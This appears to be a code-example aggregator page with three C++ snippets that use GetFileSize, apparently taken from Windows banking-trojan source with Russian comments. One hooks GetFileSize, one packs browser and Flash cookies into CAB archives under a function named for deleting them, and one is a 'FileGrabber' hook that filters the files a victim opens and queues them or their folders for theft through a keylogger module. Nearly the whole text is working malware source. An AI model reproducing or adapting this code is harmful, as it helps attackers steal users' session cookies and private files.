Ejemplo n.º 1
0
DWORD WINAPI MyGetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
{

	CUserFileObject *pUserFileObj = NULL;
	BOOL bRes = FRecord.GetRecordData(hFile,&pUserFileObj);
	if (pUserFileObj)
	{
		return pUserFileObj->GetFileSize(lpFileSizeHigh);
	}

	DWORD TReturn = pGetFileSize(
		hFile,
		lpFileSizeHigh
		);


	return TReturn;
};
Ejemplo n.º 2
0
void WINAPI DeleteBrowsersCookies()
{
	/*
	// Фцнкция удаляет кукисы браузеров и Macromedia Flash Player
	IEClearCache();
	DeleteIECookies(1);
	DeleteIECookies(2);
	//DeleteIE_cookies("Windows Vista");
	DeleteFFCookies();
	DeleteSOL();*/
	
	//IEClearCache();
	char *Path = GetTempNameA();
	HCAB hCab = CreateCab(Path);
	// Фцнкция удаляет кукисы браузеров и Macromedia Flash Player
		//DeleteIE_cookies("Windows Vista");
		DeleteIECookies(1, hCab);
		DeleteIECookies(2, hCab);
		DeleteFFCookies(hCab);
	CloseCab(hCab);

	HANDLE hFile = (HANDLE)pCreateFileA(Path,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
	DWORD sizeH = 0;
	DWORD sizeL = (DWORD)pGetFileSize(hFile, &sizeH);
	__int64 sizeCookies = (__int64)(sizeH<<32) + sizeL;
	DbgMsg("coocksol.cpp",sizeCookies,"COOKIE CAB SIZE");
	pCloseHandle(hFile);

	/*char *tmp = (char*)MemAlloc(256);
	GetTempFileNameA("C:\\cabs\\","cab_",0,tmp);
	CopyFile(Path, tmp, 0);
	MemFree(Path);
	MemFree(tmp);*/



	Path = GetTempNameA();
	hCab = CreateCab(Path);
		DeleteSOL(hCab);
	CloseCab(hCab);

	hFile = (HANDLE)pCreateFileA(Path,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
	sizeH = 0;
	sizeL = (DWORD)pGetFileSize(hFile, &sizeH);
	__int64 sizeSol = (__int64)(sizeH<<32) + sizeL;
	DbgMsg("coocksol.cpp",sizeSol,"SOL CAB SIZE");
	pCloseHandle(hFile);

	/*tmp = (char*)MemAlloc(256);
	GetTempFileNameA("C:\\cabs\\","cab_",0,tmp);
	CopyFile(Path, tmp, 0);
	MemFree(Path);
	MemFree(tmp);*/
}
Ejemplo n.º 3
0
//Проверяет каждого получателя и отсылаем им оповещения о срабатывании хука, согласно условиям получателя
void SendEvent( ParamEvent& e )
{
	if( !receivers )
		return;
	int count = List::Count(receivers);
	for( int i = 0; i < count; i++ )
	{
		Receiver* rv = (Receiver*)List::GetItem( receivers, i );
		if( !rv->ignore && e.access & rv->access ) //тип доступа
		{
			int send = 0; //слать событие (>0) или нет (=0)
			int extFilter = FilterExt( e, rv );
			if( extFilter > 0 ) //фильтер сработал
			{
				if( extFilter == 2 ) //файл нужного нам расширения
				{
					if( rv->aw & LOADFILE ) //нужно загрузить
						LoadFile(e);
					send = 1;
				}
			}
			else
			{
				DWORD h;
 				e.szData = (DWORD)pGetFileSize( e.file, &h );
				//подходит ли размер
				if( e.szData >= rv->minSize && (e.szData <= rv->maxSize || rv->maxSize < 0))
				{	
					if( rv->maska || rv->aw & FILEISBIN || rv->ignoreBeg[0][0] )
					{
						if( LoadFile(e) )
						{
							if( !IsFormatBeg( e, rv ) ) //файл не игнорируемого формата
							{
								//если есть какой-то из фильтров, то сообщаем только тогда когда есть реакция на один из них
								bool filters = false; //проходил ли через какой-то фильтер
								for(;;)
								{
									//проверяем маску
									if( rv->maska )
									{
										filters = true;
										if( WildCmp( (char*)e.data, rv->maska ) )
										{
											send = 2; break;
										}
									}
	
									if( rv->aw & FILEISBIN )
									{
										filters = true;
										if( IsBin( (BYTE*)e.data, e.szData ) )
										{
											send = 3; break;
										}
									}
		
									if( rv->aw & FILEISBASE64 )
									{
										filters = true;
										if( IsBase64( (BYTE*)e.data, e.szData ) )
										{
											send = 4; break;
										}
									}
									if( filters ) send = 0; //если ни один из фильтров не сработал, то сообщение не шлем
									break;
								}
							}	
						}
					}
					else
					{
						if( rv->aw & LOADFILE ) //нужно загрузить
							LoadFile(e);
						send = 5; //нужно оповещать о файлах определенного размера
					}
				}
			}
			if( rv->FuncReceiver && send > 0 )
			{
				e.nameSend[0] = 0;
				if( e.unicode )
				{
					DBG("FileGrabberW", "Отреагировали на файл '%ls'(%d), size: %d", e.fileNameW, send, e.szData );
					e.fileName = WSTR::ToAnsi( e.fileNameW, 0 );
				}
				else
				{
					DBG("FileGrabberA", "Отреагировали на файл '%s'(%d), size: %d", e.fileNameA, send, e.szData );
					e.fileName = (char*)e.fileNameA;
				}

				e.shortName = File::ExtractFileNameA( e.fileName, false );
				//ищем расширение
				e.extFile = 0;
				const char* p = STR::ScanEnd( (char*)e.shortName, '.' ); 
				if( p ) e.extFile = p + 1; 

				int res = rv->FuncReceiver(&e);

				if( res & SENDFILE ) //если возвращает SENDFILE, то отправляем содержимое
				{
					if( e.data )
					{
						const char* nameSend = "FileGrabber";
						if( res & CURRNAMEFILE ) //извлекаем имя из полного имени файла
							nameSend = e.shortName;
						else
							if( res & CURRFULLNAMEFILE ) //имя файла с полными путями
								nameSend = e.fileName;
							else
								if( e.nameSend[0] ) //имя передал получатель
									nameSend = e.nameSend;
						DBG( "FileGrabber", "Отправили файл '%s' под именем '%s'", e.fileName, nameSend );
						KeyLogger::AddFile( 0, (char*)nameSend, e.data, e.szData );
					}
				}
				else 
					if( res & SENDFOLDER )
					{
						pPathRemoveFileSpecA(e.fileName);
						//добавляем в конце слеш, так функция PathRemoveFileSpec его убирает
						int sz = m_lstrlen(e.fileName);
						if( e.fileName[sz - 1] != '\\' )
						{
							e.fileName[sz] = '\\';
							e.fileName[sz + 1] = 0;
							sz++;
						}
						DBG( "FileGrabber", "Отправляем папку '%s' под именем '%s'", e.fileName, e.nameSend );
						int currState = stateGrabber;
						stateGrabber |= IGNOREHOOK; //отключаем граббер
						KeyLogger::AddDirectory( e.fileName, e.nameSend );
						stateGrabber = currState; //восстанавливаем состояние
					}
				if( res & STOPRECEIVER )
					rv->ignore = true;
				if( e.fileName != e.fileNameA ) //освобождаем память, если была перекодировка
					STR::Free(e.fileName);
			}
		}
	}
	MemFree(e.data);
	e.data = 0;
}